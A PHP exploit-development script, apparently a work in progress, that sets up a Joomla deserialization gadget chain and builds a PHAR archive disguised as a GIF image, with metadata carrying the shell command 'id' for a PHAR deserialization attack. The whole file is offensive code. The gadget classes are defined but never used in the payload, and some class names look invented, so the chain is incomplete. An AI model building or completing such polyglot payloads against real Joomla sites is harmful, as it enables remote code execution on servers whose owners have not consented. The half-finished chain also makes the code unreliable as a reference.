<?php
// Joomla POP chain - use existing gadget chains

// Gadget 1: JDatabaseDriverMysqli
class JDatabaseDriverMysqli {
    protected $disconnectHandlers = [];
    protected $connection = null;
    
    public function __construct() {
        $this->disconnectHandlers = [
            [new JDatabaseDriverMysqliDestruct(), "destruct"]
        ];
    }
}

class JDatabaseDriverMysqliDestruct {
    protected $postSaveHook;
    
    public function __construct() {
        $this->postSaveHook = [
            new JInputTest(), "test"
        ];
    }
}

class JInputTest {
    public function __toString() {
        return "id";
    }
}

// Simple test - try to create PHAR with basic object
try {
    @unlink('/tmp/test.phar');
    
    $phar = new Phar('/tmp/test.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt', 'test');
    
    // GIF89a header for polyglot
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
    
    // Test with simple stdClass first
    $obj = new stdClass();
    $obj->command = 'id';
    
    $phar->setMetadata($obj);
    $phar->stopBuffering();
    
    rename('/tmp/test.phar', '/tmp/test.gif');
    echo "Created: /tmp/test.gif\n";
    echo "Size: " . filesize('/tmp/test.gif') . " bytes\n";
    echo "Content: " . base64_encode(file_get_contents('/tmp/test.gif')) . "\n";
} catch (Exception $e) {
    echo "Error: " . $e->getMessage() . "\n";
}
